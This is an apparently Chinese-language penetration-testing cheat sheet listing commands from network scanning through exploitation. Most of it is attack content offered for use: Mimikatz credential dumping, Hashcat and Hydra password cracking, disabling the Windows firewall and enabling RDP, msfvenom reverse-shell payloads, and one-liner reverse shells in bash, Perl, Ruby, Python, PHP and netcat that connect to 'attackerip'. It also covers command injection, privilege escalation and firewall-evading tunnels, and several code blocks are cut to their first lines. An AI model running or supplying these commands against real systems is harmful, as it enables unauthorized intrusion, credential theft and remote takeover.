NMAP扫描策略
适用所有大小网络最好的nmap扫描策略
主机发现,生成存活主机列表1
2$ nmap -sn -T4 -oG Discovery.gnamp 192.168.56.0/24
$ grep "Status:Up" Discovery.gnmap | cut -f 2 -d ' ' >LiveHosts.txt
端口发现,发现大部分常用端口1
2
3$nmap -sS -T4 -Pn -oG TopTCP -iL LiveHosts.txt
$nmap -sU -T4 -Pn -oN TopUDP -iL LiveHosts.txt
$nmap -sS -T4 -Pn --top-ports 3674 -oG 3674 -iL LiveHosts.txt
端口发现,发现全部端口,但UDP端口的扫描会非常慢1
2$nmap -sS -T4 -Pn -p 0-65535 -oN FullTCP -iL LiveHosts.txt
$nmap -sU -T4 -Pn -p 0-65535 -oN FullUDP -iL LiveHosts.txt
显示TCP\UDP端口1
2$grep "open" FullTCP|cut -f 1 -d ' '|sort -nu | cut -f 1 -d '/'|xargs | sed 's/ /,/g'|awk '{print "T:"$0}'
$grep "open" FullUDP|cut -f 1 -d ' ' | sort -nu | cut -f 1 -d '/' |xargs | sed 's/ /,/g'|awk '{print "U:"$0}'
侦测服务版本1
nmap -sV -T4 -Pn -oG ServiceDetect -iL LiveHosts.txt
扫描系统1
nmap -O -T4 -Pn -oG OSDetect -iL LiveHosts.txt
系统和服务检测1
nmap -O -sV -T4 -Pn -p U:53,111,137,T:21-25,80,139,8080 -oG OS_Service_Detect -iL LiveHosts.txt
Nmap躲避防火墙
1 | #分段 |
Nmap进行Web漏洞扫描
1 | $cd /usr/share/nmap/scripts/ |
使用DIRB爆破目录
1 | dirb http://IP:PORT /usr/share/dirb/wordlists/common.txt |
Patator全能暴力破解测试工具
1 | # git clone https://github.com/lanjelot/patator.git /usr/share/patator |
使用Fierce爆破DNS
注:Fierce 会检查 DNS 服务器是否允许区域传送。如果允许,就会进行区域传送并通知用户,如果不允许,则可以通过查询 DNS 服务器枚举主机名。类似工具:subDomainsBrute 和 SubBrute 等等1
2
3# http://ha.ckers.org/fierce/
$ ./fierce.pl -dns example.com
$ ./fierce.pl –dns example.com –wordlist myWordList.txt
使用Nikto扫描web服务
1 | nikto -C all -h http://IP |
扫描workpress1
2git clone https://github.com/wpscanteam/wpscan.git && cd wpscan
./wpscan –url http://IP/ –enumerate p
HTTP指纹识别
1 | wget http://www.net-square.com/_assets/httprint_linux_301.zip && unzip httprint_linux_301.zip |
使用Skipfish扫描
注:Skipfish 是一款 Web 应用安全侦查工具,Skipfish 会利用递归爬虫和基于字典的探针生成一幅交互式网站地图,最终生成的地图会在通过安全检查后输出。1
skipfish -m 5 -LY -S /usr/share/skipfish/dictionaries/complete.wl -o ./skipfish2 -u http://IP
使用NC扫描
1 | nc -v -w 1 target -z 1-1000 |
Unicornscan
Unicornscan 是一个信息收集和安全审计的工具。1
2
3
4
5
6us -H -msf -Iv 192.168.56.101 -p 1-65535
us -H -mU -Iv 192.168.56.101 -p 1-65535
-H 在生成报告阶段解析主机名
-m 扫描类型 (sf - tcp, U - udp)
-Iv - 详细
使用Xprobe2识别操作系统指纹
1 | xprobe2 -v -p tcp:80:open IP |
枚举Samba
1 | nmblookup -A target |
枚举SNMP
1 | snmpget -v 1 -c public IP |
实用windows cmd 命令
1 | net localgroup Users |
PuTTY连接隧道
1 | 转发远程端口到目标地址 |
Meterpreter端口转发1
2
3
4# https://www.offensive-security.com/metasploit-unleashed/portfwd/
# 转发远程端口到目标地址
meterpreter > portfwd add –l 3389 –p 3389 –r 172.16.194.141
kali > rdesktop 127.0.0.1:3389
开启RDP服务1
2
3reg add "hklm\system\currentcontrolset\control\terminal server" /f /v fDenyTSConnections /t REG_DWORD /d 0
netsh firewall set service remoteadmin enable
netsh firewall set service remotedesktop enable
关闭windows防火墙1
netsh firewall set opmode disable
Meterpreter VNC/RDP1
2
3# https://www.offensive-security.com/metasploit-unleashed/enabling-remote-desktop/
run getgui -u admin -p 1234
run vnc -p 5043
使用Mimikatz
获取 Windows 明文用户名密码1
2
3git clone https://github.com/gentilkiwi/mimikatz.git
privilege::debug
sekurlsa::logonPasswords full
获取哈希值
1 | git clone https://github.com/byt3bl33d3r/pth-toolkit |
使用Hashcat破解密码
1 | hashcat -m 400 -a 0 hash /root/rockyou.txt |
使用NC在windows上反弹shell
1 | c:>nc -Lp 31337 -vv -e cmd.exe |
查找SUID\SGID root文件
1 | # 查找 SUID root 文件 |
python shell
1 | python -c 'import pty;pty.spawn("/bin/bash")' |
python\Ruby\PHP HTTP服务器
1 | python2 -m SimpleHTTPServer |
获取进程对应的PID
1 | fuser -nv tcp 80 |
使用hydra爆破RDP
1 | hydra -l admin -P /root/Desktop/passwords -S X.X.X.X rdp |
挂载远程windows共享文件夹
1 | smbmount //X.X.X.X/c$ /mnt/remote/ -o username=user,password=pass,rw |
kali下编译exploit
1 | gcc -m32 -o output32 hello.c (32 位) |
kali编译windows Exploit
1 | wget -O mingw-get-setup.exe http://sourceforge.net/projects/mingw/files/Installer/mingw-get-setup.exe/download |
NASM命令
注:NASM 全称 The Netwide Assembler,是一款基于80×86和x86-64平台的汇编语言编译程序,其设计初衷是为了实现编译器程序跨平台和模块化的特性。1
2nasm -f bin -o payload.bin payload.asm
nasm -f elf payload.asm; ld -o payload payload.o; objdump -d payload
SSH穿透
1 | ssh -D 127.0.0.1:1080 -p 22 user@IP |
SSH穿透从一个网络到另一个网络
1 | ssh -D 127.0.0.1:1080 -p 22 user1@IP1 |
使用metasploit进行穿透
1 | route add X.X.X.X 255.255.255.0 1 |
基于CSV文件查询Exploit-DB
1 | git clone https://github.com/offensive-security/exploit-database.git |
MSF Payloads
1 | msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP Address> X > system.exe |
MSF生成在linux下反弹的Meterpreter Shell
1 | msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<IP Address> LPORT=443 -e -f elf -a x86 --platform linux -o shell |
MSF生成反弹Shell
1 | msfvenom -p windows/shell_reverse_tcp LHOST=127.0.0.1 LPORT=443 -b "\x00\x0a\x0d" -a x86 --platform win -f c |
MSF生成反弹Python Shell
1 | msfvenom -p cmd/unix/reverse_python LHOST=127.0.0.1 LPORT=443 -o shell.py |
MSF生成反弹ASP Shell
1 | msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp -a x86 --platform win -o shell.asp |
### MSF 生成反弹 Bash Shell1
msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -o shell.sh
MSF 生成反弹 PHP Shell
1 | msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -o shell.php |
MSF 生成反弹 Win Shell
1 | msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe -a x86 --platform win -o shell.exe |
Linux 常用安全命令
1 | # 使用 uid 查找对应的程序 |
Windows 缓冲区溢出利用命令
1 | msfvenom -p windows/shell_bind_tcp -a x86 --platform win -b "\x00" -f c |
SEH – 结构化异常处理
1 | # https://en.wikipedia.org/wiki/Microsoft-specific_exception_handling_mechanisms#SEH |
ROP
注:ROP(“Return-Oriented Programming”)是计算机安全漏洞利用技术,该技术允许攻击者在安全防御的情况下执行代码,如不可执行的内存和代码签名。
DEP(“Data Execution Prevention”)是一套软硬件技术,在内存上严格将代码和数据进行区分,防止数据当做代码执行。1
2
3
4
5
6
7# https://en.wikipedia.org/wiki/Return-oriented_programming
# https://zh.wikipedia.org/wiki/%E8%BF%94%E5%9B%9E%E5%AF%BC%E5%90%91%E7%BC%96%E7%A8%8B
# https://en.wikipedia.org/wiki/Data_Execution_Prevention
# http://baike.baidu.com/item/DEP/7694630
!mona modules
!mona ropfunc -m *.dll -cpb "\x00\x09\x0a"
!mona rop -m *.dll -cpb "\x00\x09\x0a" (auto suggest)
ASLR – 地址空间格局随机化
1 | # https://en.wikipedia.org/wiki/Address_space_layout_randomization |
寻蛋(EGG Hunter)技术
Egg hunting这种技术可以被归为“分级shellcode”,它主要可以支持你用一小段特制的shellcode来找到你的实际的(更大的)shellcode(我们的‘鸡蛋‘),原理就是通过在内存中搜索我们的最终shellcode。换句话说,一段短代码先执行,然后再去寻找真正的shellcode并执行。1
2
3
4
5
6
7
8# https://www.corelan.be/index.php/2010/01/09/exploit-writing-tutorial-part-8-win32-egg-hunting/
# http://www.pediy.com/kssd/pediy12/116190/831793/45248.pdf
# http://www.fuzzysecurity.com/tutorials/expDev/4.html
!mona jmp -r esp
!mona egg -t lxxl
\xeb\xc4 (jump backward -60)
buff=lxxllxxl+shell
!mona egg -t 'w00t'
GDB Debugger 常用命令
1 | # 设置断点 |
BASH反弹Shell
1 | bash -i >& /dev/tcp/X.X.X.X/443 0>&1 |
PERL 反弹 Shell
1 | perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"attackerip:443");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;' |
RUBY 反弹 Shell
1 | ruby -rsocket -e 'exit if fork;c=TCPSocket.new("attackerip","443");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end' |
PYTHON 反弹 Shell
1 | python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("attackerip",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' |
PHP 反弹 Shell
1 | php -r '$sock=fsockopen("attackerip",443);exec("/bin/sh -i <&3 >&3 2>&3");' |
JAVA 反弹 Shell
1 | r = Runtime.getRuntime() |
NETCAT 反弹 Shell
1 | nc -e /bin/sh attackerip 4444 |
TELNET 反弹 Shell
1 | # 如果 netcat 不可用或者 /dev/tcp |
XTERM 反弹 Shell
1 | # http://baike.baidu.com/view/418628.htm |
XSS备忘录
1 | https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet |
SSH Over SCTP (使用 Socat)
1 | # 远端服务器 |
使用洋葱网络1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19# 安装服务
$ apt-get install tor torsocks
# 绑定 ssh 到 tor 服务端口 80
# /etc/tor/torrc
SocksPolicy accept 127.0.0.1
SocksPolicy accept 192.168.0.0/16
Log notice file /var/log/tor/notices.log
RunAsDaemon 1
HiddenServiceDir /var/lib/tor/ssh_hidden_service/
HiddenServicePort 80 127.0.0.1:22
PublishServerDescriptor 0
$ /etc/init.d/tor start
$ cat /var/lib/tor/ssh_hidden_service/hostname
3l5zstvt1zk5jhl662.onion
# ssh 客户端连接
$ apt-get install torsocks
$ torsocks ssh login@3l5zstvt1zk5jhl662.onion -p 80
Metagoofil – 元数据收集工具
注:Metagoofil 是一款利用Google收集信息的工具。1
2
3# http://www.edge-security.com/metagoofil.php
# 它可以自动在搜素引擎中检索和分析文件,还具有提供Mac地址,用户名列表等其他功能
$ python metagoofil.py -d example.com -t doc,pdf -l 200 -n 50 -o examplefiles -f results.html
利用 Shellshock
1 | # 一个发现并利用服务器 Shellshock 的工具 |
获取 Docker 的 Root
1 | # 获取 Docker 的 Root |
使用 DNS 隧道绕过防火墙
1 | # 让数据和命令使用 DNS 隧道传输以绕过防火墙的检查 |
编译 Assemble 代码
1 | $ nasm -f elf32 simple32.asm -o simple32.o |
使用非交互 Shell 打入内网
1 | # 生成 shell 使用的 ssh 密钥 |
利用 POST 远程命令执行获取 Shell
1 | attacker:~$ curl -i -s -k -X 'POST' --data-binary $'IP=%3Bwhoami&submit=submit' 'http://victum.tk/command.php' |
以管理员身份在 Win7 上反弹具有系统权限的 Shell
1 | msfvenom –p windows/shell_reverse_tcp LHOST=192.168.56.102 –f exe > danger.exe |
以普通用户身份在 Win7 上反弹具有系统权限的 Shell
1 | https://technet.microsoft.com/en-us/security/bulletin/dn602597.aspx #ms15-051 |
MS08-067 – 不使用 Metasploit
1 | $ nmap -v -p 139, 445 --script=smb-check-vulns --script-args=unsafe=1 192.168.31.205 |
通过 MySQL Root 账户实现提权
1 | # Mysql Server version: 5.5.44-0ubuntu0.14.04.1 (Ubuntu) |
使用 LD_PRELOAD 注入程序
1 | $ wget https://github.com/jivoi/pentest/ldpreload_shell.c |
针对 OpenSSH 用户进行枚举时序攻击
注:枚举时序攻击(“Enumeration Timing Attack”)属于侧信道攻击/旁路攻击(Side Channel Attack),侧信道攻击是指利用信道外的信息,比如加解密的速度/加解密时芯片引脚的电压/密文传输的流量和途径等进行攻击的方式,一个词形容就是“旁敲侧击”。–参考自 shotgun 在知乎上的解释。
osueta 是一个用于对 OpenSSH 进行时序攻击的 python2 脚本,其可以利用时序攻击枚举 OpenSSH 用户名,并在一定条件下可以对 OpenSSH 服务器进行 DOS 攻击。1
2
3# https://github.com/c0r3dump3d/osueta
$ ./osueta.py -H 192.168.1.6 -p 22 -U root -d 30 -v yes
$ ./osueta.py -H 192.168.10.22 -p 22 -d 15 -v yes –dos no -L userfile.txt
使用 ReDuh 构造合法的 HTTP 请求以建立 TCP 通道
注: ReDuh 是一个通过 HTTP 协议建立隧道传输各种其他数据的工具。其可以把内网服务器的端口通过 http/https 隧道转发到本机,形成一个连通回路。用于目标服务器在内网或做了端口策略的情况下连接目标服务器内部开放端口。
对了亲~ReDuh-Gui 号称端口转发神器哦。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21# https://github.com/sensepost/reDuh
# 步骤 1
# 上传 reDuh.jsp 目标服务器
$ http://192.168.10.50/uploads/reDuh.jsp
# 步骤 2
# 在本机运行 reDuhClient
$ java -jar reDuhClient.jar http://192.168.10.50/uploads/reDuh.jsp
# 步骤 3
# 使用 nc 连接管理端口
$ nc -nvv 127.0.0.1 1010
# 步骤 4
# 使用隧道转发本地端口到远程目标端口
[createTunnel] 7777:172.16.0.4:3389
# 步骤 5
# 使用 RDP 连接远程
$ /usr/bin/rdesktop -g 1024x768 -P -z -x l -k en-us -r sound:off localhost:7777